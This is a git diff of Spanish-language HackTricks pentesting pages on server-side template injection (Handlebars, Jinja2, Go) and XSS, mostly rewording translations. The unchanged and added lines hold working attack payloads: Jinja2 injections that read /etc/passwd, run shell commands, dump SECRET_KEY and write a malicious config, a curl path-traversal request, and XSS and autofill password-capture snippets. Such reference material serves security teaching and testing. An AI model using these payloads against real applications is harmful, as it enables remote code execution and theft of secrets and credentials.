{% endhint %} @@ -21,7 +21,7 @@ Learn & practice GCP Hacking: ### Handlebars (NodeJS) -Recorrido de ruta (más información [aquí](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). +Traversal de ruta (más información [aquí](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' ``` @@ -765,6 +766,7 @@ Consulta la siguiente página para aprender trucos sobre **ejecución de comando + {{os.system('whoami')}} {{os.system('whoami')}} ``` @@ -776,7 +778,7 @@ Consulta la siguiente página para aprender trucos sobre **ejecución de comando [Sitio web oficial](http://jinja.pocoo.org) -> Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo para unicode, un entorno de ejecución sandboxed integrado opcional, es ampliamente utilizado y tiene licencia BSD. +> Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo de unicode, un entorno de ejecución integrado opcional y aislado, es ampliamente utilizado y tiene licencia BSD. * `{{7*7}} = Error` * `${7*7} = ${7*7}` @@ -797,6 +799,7 @@ Consulta la siguiente página para aprender trucos sobre **ejecución de comando + {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 @@ -908,7 +911,7 @@ vbnet Copy code La explotación de RCE difiere significativamente entre `html/template` y `text/template`. El módulo `text/template` permite llamar a cualquier función pública directamente (usando el valor “call”), lo cual no está permitido en `html/template`. La documentación para estos módulos está disponible [aquí para html/template](https://golang.org/pkg/html/template/) y [aquí para text/template](https://golang.org/pkg/text/template/). -Para RCE a través de SSTI en Go, se pueden invocar métodos de objetos. Por ejemplo, si el objeto proporcionado tiene un método `System` que ejecuta comandos, se puede explotar como `{{ .System "ls" }}`. Acceder al código fuente suele ser necesario para explotar esto, como en el ejemplo dado: +Para RCE a través de SSTI en Go, se pueden invocar métodos de objeto. Por ejemplo, si el objeto proporcionado tiene un método `System` que ejecuta comandos, se puede explotar como `{{ .System "ls" }}`. Acceder al código fuente suele ser necesario para explotar esto, como en el ejemplo dado: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() @@ -959,8 +962,8 @@ Si crees que podría ser útil, lee: {% embed url="https://www.rootedcon.com/" %} {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md index ee3277c10..486852b05 100644 --- a/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md +++ b/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md @@ -1,8 +1,8 @@ # Jinja2 SSTI {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -47,6 +47,7 @@ Si la Extensión de Depuración está habilitada, un tag `debug` estará disponi + ``` ### **Volcar todas las variables de configuración** @@ -63,6 +64,7 @@ Si la Extensión de Depuración está habilitada, un tag `debug` estará disponi + ``` ## **Inyección Jinja** @@ -123,6 +125,7 @@ dict.__mro__[-1] + # Not sure if this will work, but I saw it somewhere {{ [].class.base.subclasses() }} {{ ''.class.mro()[1].subclasses() }} @@ -139,7 +142,7 @@ La llamada a `__subclasses__` nos ha dado la oportunidad de **acceder a cientos {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }} ``` -**Ejecución Remota de Código (RCE)** +**Ejecución Remota de Código** ```python # The class 396 is the class {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} @@ -162,13 +165,13 @@ La llamada a `__subclasses__` nos ha dado la oportunidad de **acceder a cientos {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }} ``` -Para aprender sobre **más clases** que puedes usar para **escapar**, puedes **consultar**: +Para aprender sobre **más clases** que puedes usar para **escapar** puedes **consultar**: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} -### Bypass de filtros +### Bypasses de filtro #### Bypasses comunes @@ -201,6 +204,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi + ``` * [**Regresa aquí para más opciones para acceder a un objeto global**](jinja2-ssti.md#accessing-global-objects) * [**Regresa aquí para más opciones para acceder a la clase de objeto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than) @@ -220,7 +224,7 @@ Por defecto, Flask codifica en HTML todo lo dentro de una plantilla por razones #will be ``` -**Ejecución Remota de Código (RCE) al escribir un archivo de configuración malicioso.** +**Ejecución Remota de Código (RCE) escribiendo un archivo de configuración malicioso.** ```python # evil config {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} @@ -241,6 +245,7 @@ Sin **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`** + ``` ## Inyección Jinja sin **\** @@ -281,6 +286,7 @@ Una vez que hayas encontrado algunas funciones, puedes recuperar los builtins co {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %} {% endraw %} + ## Extra ## The global from config have a access to a function called import_string ## with this function you don't need to access the builtins @@ -323,8 +329,8 @@ The request will be urlencoded by default according to the HTTP format, which ca * [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI) {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index badd4d982..b0af50427 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -17,7 +17,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - ** 2. ¿Puedes usar eventos o atributos que soporten el protocolo `javascript:`? 3. ¿Puedes eludir protecciones? 4. ¿El contenido HTML está siendo interpretado por algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...), podrías abusar de una [**Inyección de Plantilla del Lado del Cliente**](../client-side-template-injection-csti.md)? -5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Colgante - HTML sin script**](../dangling-markup-html-scriptless-injection/)? +5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Pendiente - HTML sin script**](../dangling-markup-html-scriptless-injection/)? 2. Dentro de una **etiqueta HTML**: 1. ¿Puedes salir al contexto de HTML crudo? 2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS? @@ -43,7 +43,7 @@ Al trabajar en un XSS complejo, podría ser interesante saber sobre: Para explotar con éxito un XSS, lo primero que necesitas encontrar es un **valor controlado por ti que está siendo reflejado** en la página web. -* **Reflejado intermediatamente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejado en la página web, podrías explotar un **XSS Reflejado**. +* **Reflejado intermediatamente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejada en la página web, podrías explotar un **XSS Reflejado**. * **Almacenado y reflejado**: Si encuentras que un valor controlado por ti está guardado en el servidor y se refleja cada vez que accedes a una página, podrías explotar un **XSS Almacenado**. * **Accedido a través de JS**: Si encuentras que un valor controlado por ti está siendo accedido usando JS, podrías explotar un **DOM XSS**. @@ -53,10 +53,10 @@ Al intentar explotar un XSS, lo primero que necesitas saber es **dónde se está ### HTML crudo -Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: ` [...] `** etiquet ``` #### Javascript Hoisting -Javascript Hoisting se refiere a la oportunidad de **declarar funciones, variables o clases después de que se utilizan para que puedas abusar de escenarios donde un XSS está utilizando variables o funciones no declaradas.**\ +Javascript Hoisting se refiere a la oportunidad de **declarar funciones, variables o clases después de que se utilicen, por lo que puedes abusar de escenarios donde un XSS utiliza variables o funciones no declaradas.**\ **Consulta la siguiente página para más información:** {% content-ref url="js-hoisting.md" %} @@ -100,7 +100,7 @@ Javascript Hoisting se refiere a la oportunidad de **declarar funciones, variabl Varias páginas web tienen endpoints que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común que se puede ver en la práctica es algo como: `?callback=callbackFunc`. -Una buena manera de averiguar si algo proporcionado directamente por el usuario está intentando ser ejecutado es **modificando el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscando en la consola errores como: +Una buena manera de averiguar si algo proporcionado directamente por el usuario está intentando ejecutarse es **modificando el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscando en la consola errores como: ![](<../../.gitbook/assets/image (711).png>) @@ -149,7 +149,7 @@ Algunos **ejemplos**: [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} -## Codificación de bypass de WAF imagen +## Bypass de WAF codificando imagen ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>) @@ -157,7 +157,7 @@ Algunos **ejemplos**: Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, la **primera** cosa que necesitas hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: Solo intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si está **reflejado sin cambios**. **Solo en este último caso podrás explotar este caso**.\ Para estos casos también **ten en cuenta** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Nota: Un comentario HTML puede cerrarse usando**** ****`-->`**** ****o**** ****`--!>`**_ +_**Nota: Un comentario HTML puede cerrarse usando\*\*\*\***** ****`-->`**** ****o \*\*\*\*****`--!>`**_ En este caso y si no se utiliza ninguna lista negra/blanca, podrías usar cargas útiles como: ```html @@ -242,8 +242,8 @@ onerror=alert`1` ``` -Note que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis de HTML se realiza primero por el navegador**, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts incrustados solo se lleva a cabo después. +Nota que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis de HTML se realiza primero por el navegador**, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts incrustados se lleva a cabo solo después. ### Dentro del código JS @@ -511,7 +511,7 @@ loop`````````````` This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**Saltos de línea de JavaScript (de** [**trucos de saltos de línea de JavaScript**](./#javascript-new-lines) **)** +**Saltos de línea de JavaScript (de** [**trampa de salto de línea de JavaScript**](./#javascript-new-lines) **)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10); alert('//\nalert(1)') //0x0a @@ -736,7 +736,7 @@ top[8680439..toString(30)](1) ## **Vulnerabilidades DOM** Hay **código JS** que está utilizando **datos controlados de manera insegura por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\ -**Debido a la extensión de la explicación de** [**vulnerabilidades DOM, se trasladó a esta página**](dom-xss.md)**:** +**Debido a la extensión de la explicación de** [**vulnerabilidades DOM se movió a esta página**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) @@ -822,7 +822,7 @@ document['default'+'View'][`\u0061lert`](3) ``` ### XSS con inyección de encabezados en una respuesta 302 -Si descubres que puedes **inyectar encabezados en una respuesta de redirección 302**, podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que simplemente una carga útil de cross-site scripting es inútil. +Si descubres que puedes **inyectar encabezados en una respuesta de redirección 302**, podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que solo una carga útil de cross-site scripting es inútil. En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado Location y ver si alguno de ellos permite al navegador inspeccionar y ejecutar la carga útil de XSS dentro del cuerpo.\ Protocolos conocidos pasados: `mailto://`, `//x:1/`, `ws://`, `wss://`, _encabezado Location vacío_, `resource://`. @@ -835,7 +835,7 @@ Si puedes indicar el **callback** que JavaScript va a **ejecutar** limitado a es (De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si intentas cargar un script con un **tipo de contenido** como `application/octet-stream`, Chrome mostrará el siguiente error: -> Se negó a ejecutar el script de ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque su tipo MIME (‘application/octet-stream’) no es ejecutable, y la verificación estricta del tipo MIME está habilitada. +> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled. Los únicos **Content-Type** que permitirán a Chrome ejecutar un **script cargado** son los que están dentro de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) ```c @@ -913,7 +913,7 @@ Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/y } ``` -### Web Content-Types to XSS +### Tipos de Contenido Web para XSS (De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores: @@ -922,13 +922,13 @@ Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/y * application/xml * text/xml * image/svg+xml -* text/plain (?? no está en la lista pero creo que vi esto en un CTF) +* text/plain (?? no está en la lista, pero creo que lo vi en un CTF) * application/rss+xml (apagado) * application/atom+xml (apagado) En otros navegadores, otros **`Content-Types`** pueden ser utilizados para ejecutar JS arbitrario, consulta: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) -### xml Content Type +### Tipo de Contenido xml Si la página está devolviendo un tipo de contenido text/xml, es posible indicar un espacio de nombres y ejecutar JS arbitrario: ```xml @@ -1206,7 +1206,7 @@ Revisa la lista de puertos prohibidos en Chrome [**aquí**](https://src.chromium ```markup ``` -### Captura de contraseñas de autocompletar +### Captura de contraseñas de autocompletado ```javascript Username:
@@ -1453,8 +1453,8 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - ** {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)